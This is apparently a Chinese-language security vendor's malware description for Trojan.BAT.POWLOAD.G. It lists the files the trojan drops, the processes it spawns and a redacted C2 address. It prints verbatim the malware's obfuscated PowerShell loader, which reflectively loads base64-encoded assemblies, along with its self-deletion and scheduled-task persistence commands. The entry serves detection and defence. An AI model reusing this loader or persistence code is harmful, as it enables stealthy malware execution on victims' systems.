Trojan.BAT.POWLOAD.G

它以文件的形式出现在系统中，可能是其他恶意软件投放的，或者是用户在访问恶意网站时无意中下载的。

新病毒详细信息

它以文件的形式出现在系统中，可能是其他恶意软件投放的，或者是用户在访问恶意网站时无意中下载的。

安装

它植入下列文件：

• {Malware File Path}\{Malware File Name}.bat.exe → deleted afterwards
• %Application Data%\startup_str_370.vbs
• %Application Data%\startup_str_370.bat
• %Application Data%\startup_str_370.bat.exe → file attribute set to hidden

(注意: %Application Data% 是当前用户的 Application Data 文件夹，通常位于 C:\Windows\Profiles\{user name}\Application Data (Windows 98 和 ME)、C:\WINNT\Profiles\{user name}\Application Data (Windows NT)、C:\Documents and Settings\{user name}\Local Settings\Application Data (Windows 2000(32-bit)、XP 和 Server 2003(32-bit)) 和 C:\Users\{user name}\AppData\Roaming (Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit) 和 10(64-bit))。)

它添加下列进程：

• "{Malware File Name}.bat.exe" -noprofile -w hidden -ep bypass -command $h1dden_PYCJLX5O3R = [System.IO.File]::ReadAllText('{Malware File Path}\{Malware File Name}.bat').Split([Environment]::NewLine); foreach ($h1dden_3H5EP5C64P in $h1dden_PYCJLX5O3R) { $h1dden_7XA2P6AYNW = [System.Text.RegularExpressions.Regex]::Replace('_0', '0', ' '); $h1dden_7XA2P6AYNW = [System.Text.RegularExpressions.Regex]::Replace($h1dden_7XA2P6AYNW, '_', 'YHKNLWD7M0OA'); if ($h1dden_3H5EP5C64P -match $h1dden_7XA2P6AYNW) { $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_3H5EP5C64P, 'YHKNLWD7M0OA', ''); $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, '#', '/'); $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, '@', 'A');break; }; }; if ($h1dden_0IQXKDNVXT.Contains('BTRJVOMNUOISFKOYJPAMEKLPZFXYSP')) { $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, 'BTRJVOMNUOISFKOYJPAMEKLPZFXYSP', ''); } else { exit }; $h1dden_U0C5GI284P = [string[]]$h1dden_0IQXKDNVXT.Split('!'); $h1dden_JKCG91SZ6J = [System.Convert]::FromBase64String($h1dden_U0C5GI284P[0]); $h1dden_U8UNIPFJXT = [System.Reflection.Assembly]::Load($h1dden_JKCG91SZ6J); $h1dden_8OV35THHA1 = $h1dden_U8UNIPFJXT.EntryPoint; $h1dden_8OV35THHA1.Invoke($null, $null); $h1dden_BK1HQC6YLA = [System.Convert]::FromBase64String($h1dden_U0C5GI284P[1]); $h1dden_UXZORTPYXM = [System.Reflection.Assembly]::Load($h1dden_BK1HQC6YLA); $h1dden_8T5QYDZO8B = $h1dden_UXZORTPYXM.EntryPoint; $h1dden_8T5QYDZO8B.Invoke($null, $null)
• "%System%\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(3640);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b
• %System%\cmd.exe" /C ATTRIB +H "{Malware File Path}\{Malware File Name}.bat.exe" & exit
• ATTRIB +H "{Malware File Path}\{Malware File Name}.bat.exe"
• "%System%\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_370_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute '%Application Data%\startup_str_370.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest –Force
• "%System%\WScript.exe" "%Application Data%\startup_str_370.vbs"
• cmd /c ""%Application Data%\startup_str_370.bat" "
• "%Application Data%\startup_str_370.bat.exe" -noprofile -w hidden -ep bypass -command $h1dden_PYCJLX5O3R = [System.IO.File]::ReadAllText('%Application Data%\startup_str_370.bat').Split([Environment]::NewLine); foreach ($h1dden_3H5EP5C64P in $h1dden_PYCJLX5O3R) { $h1dden_7XA2P6AYNW = [System.Text.RegularExpressions.Regex]::Replace('_0', '0', ' '); $h1dden_7XA2P6AYNW = [System.Text.RegularExpressions.Regex]::Replace($h1dden_7XA2P6AYNW, '_', 'YHKNLWD7M0OA'); if ($h1dden_3H5EP5C64P -match $h1dden_7XA2P6AYNW) { $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_3H5EP5C64P, 'YHKNLWD7M0OA', ''); $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, '#', '/'); $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, '@', 'A');break; }; }; if ($h1dden_0IQXKDNVXT.Contains('BTRJVOMNUOISFKOYJPAMEKLPZFXYSP')) { $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, 'BTRJVOMNUOISFKOYJPAMEKLPZFXYSP', ''); } else { exit }; $h1dden_U0C5GI284P = [string[]]$h1dden_0IQXKDNVXT.Split('!'); $h1dden_JKCG91SZ6J = [System.Convert]::FromBase64String($h1dden_U0C5GI284P[0]); $h1dden_U8UNIPFJXT = [System.Reflection.Assembly]::Load($h1dden_JKCG91SZ6J); $h1dden_8OV35THHA1 = $h1dden_U8UNIPFJXT.EntryPoint; $h1dden_8OV35THHA1.Invoke($null, $null); $h1dden_BK1HQC6YLA = [System.Convert]::FromBase64String($h1dden_U0C5GI284P[1]); $h1dden_UXZORTPYXM = [System.Reflection.Assembly]::Load($h1dden_BK1HQC6YLA); $h1dden_8T5QYDZO8B = $h1dden_UXZORTPYXM.EntryPoint; $h1dden_8T5QYDZO8B.Invoke($null, $null)
• "%System%\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(3016);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b
• "%System%\cmd.exe" /C ATTRIB +H "%Application Data%\startup_str_370.bat.exe" & exit
• ATTRIB +H "%Application Data%\startup_str_370.bat.exe"

(注意: %System% 是 Windows 的 system 文件夹，通常位于 C:\Windows\System (Windows 98 和 ME)、C:\WINNT\System32 (Windows NT 和 2000) 和 C:\WINDOWS\system32 (Windows 2000(32-bit)、XP、Server 2003(32-bit)、Vista、7、8、8.1、2008(64-bit),2012(64bit) 和 10(64-bit))。. %Application Data% 是当前用户的 Application Data 文件夹，通常位于 C:\Windows\Profiles\{user name}\Application Data (Windows 98 和 ME)、C:\WINNT\Profiles\{user name}\Application Data (Windows NT)、C:\Documents and Settings\{user name}\Local Settings\Application Data (Windows 2000(32-bit)、XP 和 Server 2003(32-bit)) 和 C:\Users\{user name}\AppData\Roaming (Windows Vista、7、8、8.1、2008(64-bit)、2012(64-bit) 和 10(64-bit))。)

其他详细信息

它连接到以下可疑的网址：

• http://{BLOCKED}.{BLOCKED}.{BLOCKED}.238/plugin3.dll